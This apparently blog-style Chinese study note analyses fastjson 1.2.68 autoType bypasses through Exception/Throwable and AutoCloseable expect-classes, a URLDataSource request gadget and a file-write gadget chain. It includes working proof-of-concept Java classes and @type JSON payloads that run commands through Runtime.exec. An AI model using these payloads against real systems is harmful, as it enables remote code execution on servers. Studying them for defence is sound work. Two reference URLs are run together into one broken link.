這篇文章主要總結學習目前網上關於1.2.68下繞過Autotype的一些方法用到的思路。
前置知識:
checkautotype因為是對要進行反序列化的類進行檢測的方法
所以我們只需要讓其返回Class類型的實例即可
一般會有以下幾種情況通過驗證:
1.autoTypeCheckHandlers不為null,通過此種方式來返回class
2.緩存mapping中的類:
從一處取的,在二處返回
其中在TypeUtils的addMappings中放入了一些基礎類,也就是默認可以反序列化的相關類
3.不在黑名單,但在白名單之中的類
4.使用了jsonType注解的類
5.@type反序列化時指定了expectclass,也就是說反序列化的時候指定了期望類
在判斷為True時exceptclass不能為以下幾種類型
並且反序列化的類不能繼承或者實現Classloader、DataSource、RowSet
繞過方法1:
那么如果沒有開AutoType,並且如果指定了expectclass,即使要反序列化的類不在白名單中,也可以進行加載不在黑名單中的某些滿足條件的類
第一種:
通過Throwable.class
import com.alibaba.fastjson.JSON; import java.io.IOException; public class testfj1268 extends Exception { private String domain; public testfj1268() { super(); } public void setDomain(String domain) { this.domain = domain; } @Override public String getMessage() { try { Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain}); } catch (IOException e) { return e.getMessage(); } return super.getMessage(); } public static void main(String[] args) { String a = " {\n" + " \"@type\":\"java.lang.Exception\",\n" + " \"@type\": \"testfj1268\",\n" + " \"domain\": \"calc\"\n" + " }"; JSON.parseObject(a); } }
其中@type第一個類作為excepteclazz(A),二個作為需要反序列化的類(B),這種繞過方式是因為Exception.class在parseConfig的mapping中,因此沒到checkAutoType時就已經返回了clazz,那么接着為該類選擇反序列化解析器,匹配到Throwable.class。
接着在反序列化第一個type指定的類時,針對選擇的ThorowableDeserializer的deserialize方法,其將把Exception作為expectClass
接着繼續掃描json字符串后面的,就能獲取到要反序列化的類名,也就是第二個@type指定的類名,作為exClassName傳入checkAutoType,此時checkAutotype傳入的第二個參數為Throable.class也為Exception.class的接口,此時如果exClassName是實現或繼承自Throwable就能過checkAutotype
那么在json字符串中第二個type處的類名將作為要校驗的類名,Throwable將作為這個類的期望類
那么此時又因為checkAutotype傳入了expectclass,而expectclass又不等於if限制的這幾個常見類,所以在這一步expectClassFlag置為True,那么重點來了,此時只要反序列化的類不在黑名單中,那么及時要反序列化的類不在白名單中,只要繼承或實現自expectClass,那么通過下圖就能調用TypeUtils.loadClass進行加載,返回一個Class類型的實例
然而又因為有接下來的1處和2處的限制,那么要找到jndi這種的類還得實現了Throwable接口的,就很難,這也是比較雞肋的一點。
返回clazz后,將通過createException實例化exClass,此時exClass就是返回的第二個type處的類,接着繼續解析json將值放入otherValues,然后setvalue放入exClass
此時將通過反射為exClass對象賦值,其中method在解析
那么最終get的調用在完成賦值以后,將通過調用異常類的所有get方法包括接口以及自身定義的
比如調用getMessage時的調用棧如下所示:
繞過方法2:
y4er師傅博客中寫到通過找checkAutoType的調用,看哪里傳入的expectClass不為null,那么再看其邏輯,那么下面四個框,只有第二和第四,第四個是繞過點1,那么第二個繞過點就是點2
那么根據type指定的類在選擇反序列化解析器時,AutoCloseable類使用的是else分支的javabeanDesearializer
此時函數調用棧如下:
那么因為AutoCloseable不在黑名單中並且其在mapping中,因此就可以返回clazz進行加載,因此通過它就能實現反序列化
比如:
import com.alibaba.fastjson.JSON; import java.io.IOException; public class testfj1268 implements AutoCloseable { private String domain; public testfj1268() { super(); } public void setDomain(String domain) { this.domain = domain; } public String getDomain() throws IOException { System.out.println("tr1ple"); Runtime.getRuntime().exec(domain); return domain; } public static void main(String[] args) { String a = " {\n" + " \"@type\":\"java.lang.AutoCloseable\",\n" + " \"@type\": \"testfj1268\",\n" + " \"domain\": \" calc \"\n" + " }"; JSON.parseObject(a); } @Override public void close() throws Exception { } }
為什么jndi的gadget不好找?因為常見的jndi的gadget都繼承自 DataSource 和 RowSet,所以反序列化的類過不了對return clazz的最后的驗證。
淺藍師傅還分享了另一個例子:
import com.alibaba.fastjson.JSON; import javax.activation.DataSource; import javax.activation.URLDataSource; import javax.swing.*; import java.net.URL; public class testfj1 extends Exception { public testfj1() { } private DataSource dataSource; public DataSource getDataSource() { return dataSource; } public void setDataSource(URL url) { this.dataSource = new URLDataSource(url); } public static void main(String[] args) { String a = "{\"@type\":\"java.lang.Exception\",\"@type\":\"testfj1\",\"dataSource\":{\"@type\":\"java.net.URL\",\"val\":\"http://127.0.0.1:8090/exp\"}}"; JSON.parseObject(a); } }
這個例子中setDataSource的入口參數需要通過@type來賦值,那么URL這個類是在白名單中的,所以能夠正常賦值,然而在setDataSource中存在URLDataSource賦值給this.dataSource,那么這樣賦值是不經過checkAutoType的邏輯的
因為對於JSON.parseObject來說,在調用parse解析輸入端json字符串為obj后,此時要調用一次toJSON轉為JSONObject(此時已經完成了setter的調用賦值)
那么在拿到testfj1這個類的成員變量以后,因此在JSON.toJSON中取得的反序列化的類testfj1的幾個gettter的filed信息,包括從Throwable繼承的4個getter和自身的getter共5個
那么此時要放入到JSONObject中,那么對於其中的每個鍵和值都將put一次,那么對於其中的value,又要調用一次tojson(value)
那么對於賦值給datasource的URLDataSource而言,也要走一次tojson,因此此時要調用URLDataSource的所有getter
那么根據JavaBeanSerializer中的sortedGetters將循環放入map中,一共有五個filed(每個filedinfo都有一個getter與之對應),那么對應要調用其5個get方法獲取其值(用反射來實現)
那么對於inputStream,要調用URLDataSource的getInputStream
那么在getInputStream中此時將觸發請求
此時的函數調用棧如下圖所示:
除了getInputStream,getContentType也能觸發
文件操作相關gadget:
淺藍師傅的文章中提到找文件操作相關的gadget的思路:
1.通過set或構造方法指定文件路徑的outputStream
2.通過set或者構造方法能夠傳入字節數組,可以傳入outputStream,並且存在write將傳入的字節數組寫入到傳入的outputStream
3.通過set get tostring能夠調用flush完成數據寫出
比如:
rmb122(學弟太強了)的例子,主要通過fastjson反序列化調用無參構造函數然賦值指定文件的outputStream,再找能夠傳入這個包含文件路徑的stream的類,並能夠傳入字節數組,然后調用write向這個輸出流寫入字節數組的,他找的是
java.util.zip.InflaterOutputStream,然后通過最外層的marshalOutputStream來調用write完成寫入文件
在parseobject解析到MarshalOutputStream后要反射通過構造器來實例化得到該類的對象,因此此時走到super(out),out中存儲着inflaterOutputstream用來寫數據
在drain總將調用this.out.write來寫數據
而inflater中out就是fileoutstream,存儲輸出路徑
調用棧如下圖所示:
參考:
https://b1ue.cn/archives/348.html
https://b1ue.cn/archives/382.html
https://y4er.com/post/fastjson-bypass-https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247484413&idx=1&sn=1e6e6dc310896678a64807ee003c4965&chksm=fab2c0c2cdc549d43d21b91f435243661e00bf031aecdbbf5878522e4d03569f3981b2c8e6da&scene=126&sessionid=1597461507&key=1fa15854e5017e78c08db5d4c4c98468f36b29343ef1b65022a40e66f1c344e1cf8d55fd1996da1bca7dd78f1666a508c543e5aa920558e855b4538536162fb3a48c2e3d9a22c3abf40123baa437da55821ba7eff642bf588dee239317e2fbd9a46f89d17b44a50d68ebb463bc393638f9a7661ebde0356853fec50e007a1366&ascene=1&uin=MTcxNzgzMTQyMg%3D%3D&devicetype=Windows+10+x64&version=62090529&lang=zh_CN&exportkey=Ac60y0eMxnT1cqDwGjlpH5c%3D&pass_ticket=Ebbf7kHW%2F%2BiaFTbGKVvcjBwyIOOw3uJLI5JOzhcpgdsECH0q4pah%2B8PjR2AzBt5T-1268/